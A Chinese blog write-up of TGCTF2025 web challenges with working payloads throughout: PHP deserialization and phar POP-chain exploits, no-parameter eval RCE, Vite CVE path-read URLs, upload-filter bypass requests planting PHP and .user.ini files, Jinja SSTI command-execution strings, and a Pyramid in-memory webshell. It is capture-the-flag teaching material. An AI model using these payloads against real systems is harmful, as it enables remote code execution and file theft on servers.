TGCTF2025
本文最后更新于280 天前,其中的信息可能已经过时,如有错误请发送邮件到270371528@qq.com

TGCTF2025

web

火眼辩魑魅

robots协议,然后访问tgshell.php。

过滤了很多system,passthru等函数

用反引号绕过

image-20250412130126312

什么文件上传?

提示机器人,访问robots.txt

看到class.php,访问进去

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    function best64_decode($str)
    {
        return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
    }
    class yesterday {
        public $learn;
        public $study="study";
        public $try;
        public function __construct()
        {
            $this->learn = "learn<br>";
        }
        public function __destruct()
        {
            echo "You studied hard yesterday.<br>";
            return $this->study->hard();
        }
    }
    class today {
        public $doing;
        public $did;
        public $done;
        public function __construct(){
            $this->did = "What you did makes you outstanding.<br>";
        }
        public function __call($arg1, $arg2)
        {
            $this->done = "And what you've done has given you a choice.<br>";
            echo $this->done;
            if(md5(md5($this->doing))==666){
                return $this->doing();
            }
            else{
                return $this->doing->better;
            }
        }
    }
    class tommoraw {
        public $good;
        public $bad;
        public $soso;
        public function __invoke(){
            $this->good="You'll be good tommoraw!<br>";
            echo $this->good;
        }
        public function __get($arg1){
            $this->bad="You'll be bad tommoraw!<br>";
        }

    }
    class future{
        private $impossible="How can you get here?<br>";
        private $out;
        private $no;
        public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

        public function __set($arg1, $arg2) {
            if ($this->out->useful7) {
                echo "Seven is my lucky number<br>";
                system('whoami');
            }
        }
        public function __toString(){
            echo "This is your future.<br>";
            system($_POST["wow"]);
            return "win";
        }
        public function __destruct(){
            $this->no = "no";
            return $this->no;
        }
    }
    if (file_exists($_GET['filename'])){
        echo "Focus on the previous step!<br>";
    }
    else{
        $data=substr($_GET['filename'],0,-4);
        unserialize(best64_decode($data));
    }
    // You learn yesterday, you choose today, can you get to your future?
?>

奶奶的这题做一个小时(bushi,我在那爆破md5值后想着触发invoke方法再触发tostring方法。没看到invoke方法里面已经强行赋值给good了,所以自己给good赋future类完全没用。白折腾了nnd,我真是眼瞎了没看到这么大一行赋值操作。

pop链:

yesterday::__destruct()---->today::__call()---->future::__toString()

这里为什么能触发tostring呢?因为

md5(md5($this->doing)) == md5(md5((string)$this->doing))

再进行比较时其实就自动触发了。因为md5函数将对象自动先转成字符串

exp:

<?php
    class yesterday {
        public $study; 
    }
    class today {
        public $doing;
    }
    class tommoraw {
        public $good;
    }
    class future {
    }
$a=new yesterday();
$a->study=new today();
$a->study->doing=new future();
echo base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(serialize($a))))));
?>

payload:

get:class.php?filename=Vm10b2QyUnJOVlpQV0VKVVlXeGFhRll3VlRCa01XUnpZVVYwYUUxWGVGcFpWRXB6VlVkR2NsWlVTbUZXUlRWUFZHMXpNVlpYU1hsaVIzQk9UVlZzTkZZeWRHOWpiVVpXVDBoa1VGSkdjRkJXYTJNMVkwWndSbGw2Vm1oTlYzaGFXVlJLYzFWSFJuSldWRXBoVmtVMVQxUnRjekZXVjBsNVlrZEdVMlZ0ZUROWFZ6QjRZVzFHVms5SVpGQlNSbkJRV1Zjd05XTkdaSFJPVm1ST1VqRktXbFV5TVRSVGJVWjBUMVJPVlUxcVZYZFVNV1JoVjFVeFJVMUVNRDA91234
post:wow=cat /flag

什么文件上传?(复仇)

继续看class.php

<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
    return base64_encode(md5(base64_encode(md5($str))));
    }
class yesterday {
    public $learn;
    public $study="study";
    public $try;
    public function __construct()
    {
        $this->learn = "learn<br>";
    }
    public function __destruct()
    {
        echo "You studied hard yesterday.<br>";
        return $this->study->hard();
    }
}
class today {
    public $doing;
    public $did;
    public $done;
    public function __construct(){
        $this->did = "What you did makes you outstanding.<br>";
    }
    public function __call($arg1, $arg2)
    {
        $this->done = "And what you've done has given you a choice.<br>";
        echo $this->done;
        if(md5(md5($this->doing))==666){
            return $this->doing();
        }
        else{
            return $this->doing->better;
        }
    }
}
class tommoraw {
    public $good;
    public $bad;
    public $soso;
    public function __invoke(){
        $this->good="You'll be good tommoraw!<br>";
        echo $this->good;
    }
    public function __get($arg1){
        $this->bad="You'll be bad tommoraw!<br>";
    }

}
class future{
    private $impossible="How can you get here?<br>";
    private $out;
    private $no;
    public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

    public function __set($arg1, $arg2) {
        if ($this->out->useful7) {
            echo "Seven is my lucky number<br>";
            system('whoami');
        }
    }
    public function __toString(){
        echo "This is your future.<br>";
        system($_POST["wow"]);
        return "win";
    }
    public function __destruct(){
        $this->no = "no";
        return $this->no;
    }
}
if (file_exists($_GET['filename'])){
    echo "Focus on the previous step!<br>";
}
else{
    $data=substr($_GET['filename'],0,-4);
    unserialize(best64($data));
}
// You learn yesterday, you choose today, can you get to your future?
?> 

只看到best64_decode函数改了,这个没啥用。加密的best64函数未知,这让我们不能直接打反序列化了。

回到文件上传页面,我们bp爆破发现只能上传.atg文件。

看到file_exists这种对文件进行操作的函数,可以想到phar反序列化。

<?php
    class yesterday {
        public $study; 
    }
    class today {
        public $doing;
    }
    class tommoraw {
        public $good;
    }
    class future {
    }
$a=new yesterday();
$a->study=new today();
$a->study->doing=new future();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->addFromString("test.txt", "test");
$phar->setMetadata($a);
$phar->stopBuffering();
?>

生成phar.phar文件后,后缀改为.atg然后上传文件。最后phar读取该文件即可。

image-20250416171402940

AAA偷渡阴平

<?php
$tgctf2025=$_GET['tgctf2025'];
if(!preg_match("/0|1|[3-9]|~|`|@|#|\$|%|^|&|*|(|)|-|=|+|{|[|]|}|:|'|"|,|<|.|>|/|?|\\/i", $tgctf2025)){
    //hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
    eval($tgctf2025);
}
else{
    die('(╯‵□′)╯炸弹!•••*~●');
}
highlight_file(__FILE__); 

过滤中的()是中文的,等于没过滤。我们只能用字母和(),也就是无参RCE

法一:

var_dump(get_defined_vars())

发现超全局数组

array(5) {
  ["_GET"]=>array(1) {["tgctf2025"]=>string(29) "var_dump(get_defined_vars());"}
  ["_POST"]=>array(0) {}
  ["_COOKIE"]=>array(0) {}
  ["_FILES"]=>array(0) {}
  ["tgctf2025"]=>string(29) "var_dump(get_defined_vars());"
}

可以利用超全局数组来写。我这里利用POST全局数组来写,我们用next将指针指向["_POST"],然后end函数取数组中的最后一个值,eval来执行这个值。

image-20250416175114608

?tgctf2025=eval(end(next(get_defined_vars())));
a=system('cat /flag');

法二:

当请求头中有cookie时,首先我们需要开启session_start()来保证session_id()的使用,session_id可以用来获取当前会话ID,也就是说它可以抓取PHPSESSID后面的东西,但是phpsession不允许()出现。

image-20250416180434865

AAA偷渡阴平(复仇)

和上题一样,用法二。

前端GAME

CVE-2025-30208

该漏洞主要影响以下版本的 Vite:

6.2.3 之前

6.1.2 之前

6.0.12 之前

5.4.15 之前

4.5.10 之前

看前端,有版本号

image-20250416234023807

然后读环境变量就行

image-20250416234606899

前端GAME Plus

和上题一样,版本变成了6.2.4。

对应CVE-2025-31486

image-20250417114452450

http://127.0.0.1:59001/tgflagggg?.svg?.wasm?init

然后base64解码即可

前端GAME Ultra

版本变成了6.2.5

对应CVE-2025-32395

http://127.0.0.1:60723/@fs/app/#/../../../../../tgflagggg

用bp或者curl发包,浏览器发包会跳转。

(ez)upload

扫目录找到upload.php.bak

<?php
define('UPLOAD_PATH', __DIR__ . '/uploads/');
$is_upload = false;
$msg = null;
$status_code = 200; // 默认状态码为 200
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess");
        if (isset($_GET['name'])) {
            $file_name = $_GET['name'];
        } else {
            $file_name = basename($_FILES['name']['name']);
        }
        $file_ext = pathinfo($file_name, PATHINFO_EXTENSION);
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['name']['tmp_name'];
            $file_content = file_get_contents($temp_file);
            if (preg_match('/.+?</s', $file_content)) {
                $msg = '文件内容包含非法字符,禁止上传!';
                $status_code = 403; // 403 表示禁止访问
            } else {
                $img_path = UPLOAD_PATH . $file_name;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                    $msg = '文件上传成功!';
                } else {
                    $msg = '上传出错!';
                    $status_code = 500; // 500 表示服务器内部错误
                }
            }
        } else {
            $msg = '禁止保存为该类型文件!';
            $status_code = 403; // 403 表示禁止访问
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        $status_code = 404; // 404 表示资源未找到
    }
}
// 设置 HTTP 状态码
http_response_code($status_code);
// 输出结果
echo json_encode([
    'status_code' => $status_code,
    'msg' => $msg,
]);

flag在环境变量

法一:

name参数存在目录穿越,没有过滤.user.ini。并且我们知道uploads/路由的上级路由有upload.php文件。

所以可以用.user.ini文件包含。将.user.ini和我们的恶意php代码上传即可

POST /upload.php?name=../1.jpg HTTP/1.1
Host: 127.0.0.1:64422
Content-Length: 306
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:64422
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTSfQSj57raGb6frL
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:64422/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryTSfQSj57raGb6frL
Content-Disposition: form-data; name="name"; filename="shell.php"
Content-Type: image/jpeg

<?php phpinfo();?>
------WebKitFormBoundaryTSfQSj57raGb6frL
Content-Disposition: form-data; name="submit"

上传文件
------WebKitFormBoundaryTSfQSj57raGb6frL--

然后上传.user.ini

POST /upload.php?name=../.user.ini HTTP/1.1
Host: 127.0.0.1:64422
Content-Length: 325
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:64422
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryP7Zos5rUV9n8jmeF
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:64422/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryP7Zos5rUV9n8jmeF
Content-Disposition: form-data; name="name"; filename=".user.ini"
Content-Type: application/octet-stream

auto_prepend_file=1.jpg
------WebKitFormBoundaryP7Zos5rUV9n8jmeF
Content-Disposition: form-data; name="submit"

上传文件
------WebKitFormBoundaryP7Zos5rUV9n8jmeF--

等几分钟访问upload.php即可

法二:

官方wp上说要101万大量垃圾字符绕过move_uploaded_file函数。

但是实际上不需要。可以看到后端代码说直接以name参数来命名的。直接再后面加上/.即可绕过后缀检测。

因为 $file_ext = pathinfo($file_name, PATHINFO_EXTENSION);会将最后一个.号后面的内容作为文件后缀。

所以 $file_ext 值为空

POST /upload.php?name=1.php/. HTTP/1.1
Host: 127.0.0.1:65429
Content-Length: 306
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:65429
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnMYrsD7baa4gj4K
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:65429/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryAnMYrsD7baa4gj4K
Content-Disposition: form-data; name="name"; filename="shell.jpg"
Content-Type: image/jpeg

<?php phpinfo();?>
------WebKitFormBoundaryAnMYrsD7baa4gj4K
Content-Disposition: form-data; name="submit"

上传文件
------WebKitFormBoundaryAnMYrsD7baa4gj4K--

然后访问uploads/1.php即可。这里的过滤不知道为什么,好像不存在???

直面天命

源代码提示访问/hint,然后爆破路由访问到/aazz,提示可以传参,用arjun爆破参数,为filename

发现该参数存在目录遍历漏洞。直接出

http://127.0.0.1:1506/aazz?filename=../../../../../../flag

然后看了wp发现这是非预期做法.

这题考点是ssti,先读取/app.py

import os
import string  
from flask import Flask, request, render_template_string, jsonify, send_from_directory 
from a.b.c.d.secret import secret_key 
app = Flask(__name__)

# 黑名单定义 - 防止SSTI(服务器端模板注入)和命令执行
black_list = ['{', '}', 'popen', 'os', 'import', 'eval', '_', 'system', 'read', 'base', 'globals']

def waf(name):
    for x in black_list:
        if x in name.lower():  # 不区分大小写检查
            return True
    return False

def is_typable(char):
    # 定义可输入字符集:字母、数字、标点符号和空白符
    typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
    return char in typable_chars

@app.route('/')
def home():
    return send_from_directory('static', 'index.html')  # 从static目录返回index.html

@app.route('/jingu', methods=['POST'])
def greet():
    template1 = ""
    template2 = ""
    name = request.form.get('name')  # 获取POST参数name
    template = f'{name}'  # 原始模板

    # 第一层检查:WAF过滤
    if waf(name):
        template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹<br><img src="{{ url_for("static", filename="3.jpeg") }}" alt="Image">'
    else:
        # 第二层检查:所有字符必须可键盘输入
        k = 0
        for i in name:
            if is_typable(i):
                continue
            k = 1
            break

        if k == 1:
            # 第三层检查:必须包含secret_key的前后两部分("六根")
            if not (secret_key[:2] in name and secret_key[2:] in name):
                template = '连"六根"都凑不齐,谈什么天命不天命的,还是戴上这金箍吧<br><br>再去西行历练历练<br><br><img src="{{ url_for("static", filename="4.jpeg") }}" alt="Image">'
                return render_template_string(template)

            # 通过所有检查后的处理
            template1 = """"六根"也凑齐了,你已经可以直面天命了!我帮你把"secret_key"替换为了"{{}}"<br>
                        最后,如果你用了cat,就可以见到齐天大圣了<br>"""
            # 关键点:将特定文本替换为Flask模板语法
            template = template.replace("直面", "{{").replace("天命", "}}")

    # 特殊触发条件:如果输入包含"cat"
    if "cat" in template:
        template2 = '<br>或许你这只叫天命人的猴子,真的能做到?<br><br><img src="{{ url_for("static", filename="2.jpeg") }}" alt="Image">'
    try:
        # 渲染最终模板(潜在的SSTI触发点)
        return template1 + render_template_string(template) + render_template_string(template2)
    except Exception as e:
        # 错误处理
        error_message = f"500报错了,查询语句如下:<br>{template}"
        return error_message, 400

@app.route('/hint', methods=['GET'])
def hinter():
    template = "hint:<br>有一个由4个小写英文字母组成的路由,去那里看看吧,天命人!"
    return render_template_string(template)

@app.route('/aazz', methods=['GET'])
def finder():
    filename = request.args.get('filename', '')  # 获取查询参数filename

    if filename == "":
        # 无filename参数时返回文件上传页面
        return send_from_directory('static', 'file.html')

    # 文件名合法性检查
    if not filename.replace('_', '').isalnum():
        return jsonify({'error': '只允许字母和数字!'}), 400

    # 检查文件是否存在
    if os.path.isfile(filename):
        try:
            # 读取文件内容
            with open(filename, 'r') as file:
                content = file.read()
            return content
        except Exception as e:
            # 文件读取错误处理
            return jsonify({'error': str(e)}), 500
    else:
        # 文件不存在处理
        return jsonify({'error': '路径不存在或者路径非法'}), 404

if __name__ == '__main__':
    # 启动Flask应用
    app.run(host='0.0.0.0', port=80)  # 监听所有网络接口的80端口

我们读取secret

http://127.0.0.1:1506/aazz?filename=/a/b/c/d/secret.py
#secret_key = "直面天命"

然后打ssti即可

name=直面[]["x5fx5fclassx5fx5f"]["x5fx5fmrox5fx5f"][1]["x5fx5fsubclassesx5fx5f"]()[351]('cat%20/flag',shell=True,stdout=-1).communicate()[0].strip()天命

直面天命(复仇)

和上题一样的思路

读源码,源码变了一点

import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key

app = Flask(__name__)

black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
def waf(name):
    for x in black_list:
        if x in name.lower():
            return True
    return False
def is_typable(char):
    # 定义可通过标准 QWERTY 键盘输入的字符集
    typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
    return char in typable_chars

@app.route('/')
def home():
    return send_from_directory('static', 'index.html')

@app.route('/jingu', methods=['POST'])
def greet():
    template1=""
    template2=""
    name = request.form.get('name')
    template = f'{name}'
    if waf(name):
        template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹
Image'
    else:
        k=0
        for i in name:
            if is_typable(i):
                continue
            k=1
            break
        if k==1:
            if not (secret_key[:2] in name and secret_key[2:]):
                template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧

再去西行历练历练

Image'
                return render_template_string(template)
            template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”
最后,如果你用了cat,就可以见到齐天大圣了
"
            template= template.replace("天命","{{").replace("难违","}}")
            template = template
    if "cat" in template:
        template2 = '
或许你这只叫天命人的猴子,真的能做到?

Image'
    try:
        return template1+render_template_string(template)+render_template_string(template2)
    except Exception as e:
        error_message = f"500报错了,查询语句如下:
{template}"
        return error_message, 400

@app.route('/hint', methods=['GET'])
def hinter():
    template="hint:
有一个aazz路由,去那里看看吧,天命人!"
    return render_template_string(template)

@app.route('/aazz', methods=['GET'])
def finder():
    with open(__file__, 'r') as f:
        source_code = f.read()
    return f"

{source_code}

", 200, {'Content-Type': 'text/html; charset=utf-8'}

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

过滤变多了。

template= template.replace("天命","{{").replace("难违","}}")所以直面天命放前面,末尾要加上难违。

payload可以本地搭个环境然后fengjin跑。

name=直面天命g['u0070u006fu0070']['u005fu005fu0067u006cu006fu0062u0061u006cu0073u005fu005f']['u005fu005fu0062u0075u0069u006cu0074u0069u006eu0073u005fu005f']['u005fu005fu0069u006du0070u006fu0072u0074u005fu005f']('so'[::-1])['u0070u006fu0070u0065u006e']('cat /*')['u0072u0065u0061u0064']()难违

熟悉的配方,熟悉的味道

给了源码

from pyramid.config import Configurator
from pyramid.request import Request
from pyramid.response import Response
from pyramid.view import view_config
from wsgiref.simple_server import make_server
from pyramid.events import NewResponse
import re
from jinja2 import Environment, BaseLoader

eval_globals = { #防止eval执行恶意代码
    '__builtins__': {},      # 禁用所有内置函数
    '__import__': None       # 禁止动态导入
}

def checkExpr(expr_input):
    expr = re.split(r"[-+*/]", expr_input)
    print(exec(expr_input))

    if len(expr) != 2:
        return 0
    try:
        int(expr[0])
        int(expr[1])
    except:
        return 0

    return 1

def home_view(request):
    expr_input = ""
    result = ""

    if request.method == 'POST':
        expr_input = request.POST['expr']
        if checkExpr(expr_input):
            try:
                result = eval(expr_input, eval_globals)
            except Exception as e:
                result = e
        else:
            result = "爬!"

    template_str = 【xxx】

    env = Environment(loader=BaseLoader())
    template = env.from_string(template_str)
    rendered = template.render(expr_input=expr_input, result=result)
    return Response(rendered)

if __name__ == '__main__':
    with Configurator() as config:
        config.add_route('home_view', '/')
        config.add_view(home_view, route_name='home_view')
        app = config.make_wsgi_app()

    server = make_server('0.0.0.0', 9040, app)
    server.serve_forever()

这题用WP做题法。但是看了几个wp都没有讲清楚为什么能打内存马。我总结一下

eval_globals = { #防止eval执行恶意代码
    '__builtins__': {},      # 禁用所有内置函数
    '__import__': None       # 禁止动态导入
}

上面这段代码可以看出,禁用的是eval函数下的全局变量。

print(exec(expr_input))

而我们利用的是上面这个exec函数,所以并不受影响。

下面我们看主路由

if request.method == 'POST':
        expr_input = request.POST['expr']
        if checkExpr(expr_input):

可以看到post方法接受expr参数赋值给expr_input,然后就用checkExpr来检查。进入checkExpr函数查看

def checkExpr(expr_input):
    expr = re.split(r"[-+*/]", expr_input)
    print(exec(expr_input))

    if len(expr) != 2:
        return 0
    try:
        int(expr[0])
        int(expr[1])
    except:
        return 0

    return 1

注意这里是先执行,然后才判断:print(exec(expr_input))直接执行了expr_input。然后进入判断语句。

并且exec是没有返回值的,也就是print等于没有。所以这题是无回显。也就是可以打内存马。

expr=config.add_route('shell_route','/shell');config.add_view(lambda request:Response(__import__('os').popen(request.params.get('cmd')).read()),route_name='shell_route');app = config.make_wsgi_app()

image-20250418110849818

读取

image-20250418110933641

eval和exec的区别:

特性 eval exec
用途 计算单个表达式的值 执行代码块或语句
返回值 返回表达式的计算结果 总是返回 None
输入类型 只能处理单个表达式 可以处理多行代码、语句和代码块

所以python的exec和php的exec完全不同,python的exec有点类似php的eval。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇